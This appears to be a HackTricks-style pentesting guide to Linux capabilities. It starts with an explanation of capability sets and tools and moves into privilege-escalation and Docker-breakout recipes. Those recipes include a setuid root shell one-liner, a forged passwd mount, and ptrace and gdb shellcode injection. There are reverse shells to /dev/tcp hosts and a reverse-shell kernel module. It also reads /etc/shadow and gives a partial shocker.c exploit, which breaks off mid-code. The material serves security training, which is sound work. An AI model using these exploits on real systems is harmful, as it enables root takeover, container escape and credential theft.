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Linux Capabilities

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Why capabilities?

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.

Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.

Capabilities Sets

Inherited capabilities

CapEff: The effective capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.

CapPrm: (Permitted) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap_setpcap capability in its thread effective set.

CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an execve and is usually set by a process receiving capabilities rather than by a process that’s handing out capabilities to its children.

CapBnd: With the bounding set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.

CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling execve. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across execve calls.

For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:

Processes & Binaries Capabilities

Processes Capabilities

To see the capabilities for a particular process, use the status file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.
Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.

You can find the capabilities defined in /usr/include/linux/capability.h

You can find the capabilities of the current process in cat /proc/self/status or doing capsh --print and of other users in /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

This command should return 5 lines on most systems.

CapInh = Inherited capabilities
CapPrm = Permitted capabilities
CapEff = Effective capabilities
CapBnd = Bounding set
CapAmb = Ambient capabilities set

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Lets check now the capabilities used by ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID (PID). You can also provide a list of process IDs.

getpcaps 1234

Lets check here the capabilities of tcpdump after having giving the binary enough capabilities (cap_net_admin and cap_net_raw) to sniff the network (tcpdump is running in process 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.
The getpcaps tool uses the capget() system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.

Binaries Capabilities

Binaries can have capabilities that can be used while executing. For example, it's very common to find ping binary with cap_net_raw capability:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

You can search binaries with capabilities using:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

If we drop the CAP_NET_RAW capabilities for ping, then the ping utility should no longer work.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Besides the output of capsh itself, the tcpdump command itself should also raise an error.

/bin/bash: /usr/sbin/tcpdump: Operation not permitted

The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with

setcap -r </path/to/binary>

User Capabilities

Apparently it's possible to assign capabilities also to users. This probably means that every process executed by the user will be able to use the users capabilities.
Base on on this, this and this a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be /etc/security/capability.conf.
File example:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Environment Capabilities

Compiling the following program it's possible to spawn a bash shell inside an environment that provides capabilities.

{% code title="ambient.c" %}

/*
 * Test program for the ambient capabilities
 *
 * compile using:
 * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
 * Set effective, inherited and permitted capabilities to the compiled binary
 * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
 *
 * To get a shell with additional caps that can be inherited do:
 *
 * ./ambient /bin/bash
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
  int rc;
  capng_get_caps_process();
  rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
  if (rc) {
    printf("Cannot add inheritable cap\n");
    exit(2);
  }
  capng_apply(CAPNG_SELECT_CAPS);
  /* Note the two 0s at the end. Kernel checks for these */
  if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
    perror("Cannot set cap");
    exit(1);
  }
}
void usage(const char * me) {
  printf("Usage: %s [-c caps] new-program new-args\n", me);
  exit(1);
}
int default_caplist[] = {
  CAP_NET_RAW,
  CAP_NET_ADMIN,
  CAP_SYS_NICE,
  -1
};
int * get_caplist(const char * arg) {
  int i = 1;
  int * list = NULL;
  char * dup = strdup(arg), * tok;
  for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
    list = realloc(list, (i + 1) * sizeof(int));
    if (!list) {
      perror("out of memory");
      exit(1);
    }
    list[i - 1] = atoi(tok);
    list[i] = -1;
    i++;
  }
  return list;
}
int main(int argc, char ** argv) {
  int rc, i, gotcaps = 0;
  int * caplist = NULL;
  int index = 1; // argv index for cmd to start
  if (argc < 2)
    usage(argv[0]);
  if (strcmp(argv[1], "-c") == 0) {
    if (argc <= 3) {
      usage(argv[0]);
    }
    caplist = get_caplist(argv[2]);
    index = 3;
  }
  if (!caplist) {
    caplist = (int * ) default_caplist;
  }
  for (i = 0; caplist[i] != -1; i++) {
    printf("adding %d to ambient list\n", caplist[i]);
    set_ambient_cap(caplist[i]);
  }
  printf("Ambient forking shell\n");
  if (execv(argv[index], argv + index))
    perror("Cannot exec");
  return 0;
}

{% endcode %}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Inside the bash executed by the compiled ambient binary it's possible to observe the new capabilities (a regular user won't have any capability in the "current" section).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

{% hint style="danger" %} You can only add capabilities that are present in both the permitted and the inheritable sets. {% endhint %}

Capability-aware/Capability-dumb binaries

The capability-aware binaries won't use the new capabilities given by the environment, however the capability dumb binaries will use them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.

Service Capabilities

By default a service running as root will have assigned all the capabilities, and in some occasions this may be dangerous.
Therefore, a service configuration file allows to specify the capabilities you want it to have, and the user that should execute the service to avoid running a service with unnecessary privileges:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
	BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

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Privesc/Container Escape

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability (“-” would remove it) as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

is not owned by root
has no SUID/SGID bits set
has empty capabilities set (e.g.: getcap myelf returns myelf =ep)

then that binary will run as root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). CAP_SYS_ADMIN is required to perform a range of administrative operations, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to mount devices or abuse release_agent to escape from the container.

Example with binary

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Using python you can mount a modified passwd file on top of the real passwd file:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

And finally mount the modified passwd file on /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

And you will be able to su as root using password "password".

Example with environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_ADMIN capability is enabled.

Mount

This allows the docker container to mount the host disk and access it freely:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk

Full access

In the previous method we managed to access the docker host disk.
In case you find that the host is running an ssh server, you could create a user inside the docker host disk and access it via SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

This means that you can escape the container by injecting a shellcode inside some process running inside the host. To access processes running inside the host the container needs to be run at least with --pid=host.

CAP_SYS_PTRACE allows to use ptrace(2) and recently introduced cross memory attach system calls such as process_vm_readv(2) and process_vm_writev(2). If this capability is granted and the ptrace(2) system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see PoC for bypassing seccomp if ptrace is allowed or the following PoC:

Example with binary (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
    # Convert the byte to little endian.
    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    shellcode_byte=int(shellcode_byte_little_endian,16)

    # Inject the byte.
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Example with binary (gdb)

gdb with ptrace capability:

/usr/bin/gdb = cap_sys_ptrace+ep

Create a shellcode with msfvenom to inject in memory via gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
	chunk = payload[i:i+8][::-1]
	chunks = "0x"
	for byte in chunk:
		chunks += f"{byte:02x}"

	print(f"set {{long}}($rip+{i}) = {chunks}")

Debug a root process with gdb ad copy-paste the previously generated gdb lines:

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Example with environment (Docker breakout) - Another gdb Abuse

If GDB is installed (or you can install it with apk add gdb or apt install gdb for example) you can debug a process from the host and make it call the system function. (This technique also requires the capability SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).

{% hint style="warning" %} If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. {% endhint %}

Example with environment (Docker breakout) - Shellcode Injection

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processes running in the host ps -eaf

Get the architecture uname -m
Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
Modify the shellcode inside the program and compile it gcc inject.c -o inject
Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE allows the process to load and unload arbitrary kernel modules (init_module(2), finit_module(2) and delete_module(2) system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.
This means that you can insert/remove kernel modules in/from the kernel of the host machine.

Example with binary

In the following example the binary python has this capability.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

By default, modprobe command checks for dependency list and map files in the directory /lib/modules/$(uname -r).
In order to abuse this, lets create a fake lib/modules folder:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Then compile the kernel module you can find 2 examples below and copy it to this folder:

cp reverse-shell.ko lib/modules/$(uname -r)/

Finally, execute the needed python code to load this kernel module:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Example 2 with binary

In the following example the binary kmod has this capability.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Which means that it's possible to use the command insmod to insert a kernel module. Follow the example below to get a reverse shell abusing this privilege.

Example with environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_MODULE capability is enabled.

Create the kernel module that is going to execute a reverse shell and the Makefile to compile it:

{% code title="reverse-shell.c" %}

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

{% endcode %}

{% code title="Makefile" %}

obj-m +=reverse-shell.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

{% endcode %}

{% hint style="warning" %} The blank char before each make word in the Makefile must be a tab, not spaces! {% endhint %}

Execute make to compile it.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Finally, start nc inside a shell and load the module from another one and you will capture the shell in the nc process:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from https://www.pentesteracademy.com/

Another example of this technique can be found in https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH allows a process to bypass file read, and directory read and execute permissions. While this was designed to be used for searching or reading files, it also grants the process permission to invoke open_by_handle_at(2). Any process with the capability CAP_DAC_READ_SEARCH can use open_by_handle_at(2) to gain access to any file, even files outside their mount namespace. The handle passed into open_by_handle_at(2) is intended to be an opaque identifier retrieved using name_to_handle_at(2). However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with shocker exploit.
This means that you can bypass can bypass file read permission checks and directory read/execute permission checks.

Example with binary

The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Example with binary2

In this case lets suppose that python binary has this capability. In order to list root files you could do:

import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)

And in order to read a file you could do:

print(open("/etc/shadow", "r").read())

Example in Environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.

You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCH not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to open_by_handle_at(2) and could allow our process to sensitive files opened by other processes.

The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

void die(const char *msg)
{
    perror(msg);
    exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
    h->handle_type);
    for (int i = 0; i < h->handle_bytes; ++i) {
        fprintf(stderr,"0x%02x", h->f_handle[i]);
        if ((i + 1) % 20 == 0)
        fprintf(stderr,"\n");
        if (i < h->handle_bytes - 1)
        fprintf(stderr,", ");
    }
    fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
    int fd;
    uint32_t ino = 0;
    struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
    };
    DIR *dir = NULL;
    struct dirent *de = NULL;
    path = strchr(path, '/');
    // recursion stops if path has been resolved
    if (!path) {
        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
        oh->handle_type = 1;
        oh->handle_bytes = 8;
        return 1;
    }

    ++path;
    fprintf(stderr, "[*] Resolving '%s'\n", path);
    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");
    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");
    for (;;) {
        de = readdir(dir);
        if (!de)
        break;
        fprintf(stderr, "[*] Found %s\n", de->d_name);
        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
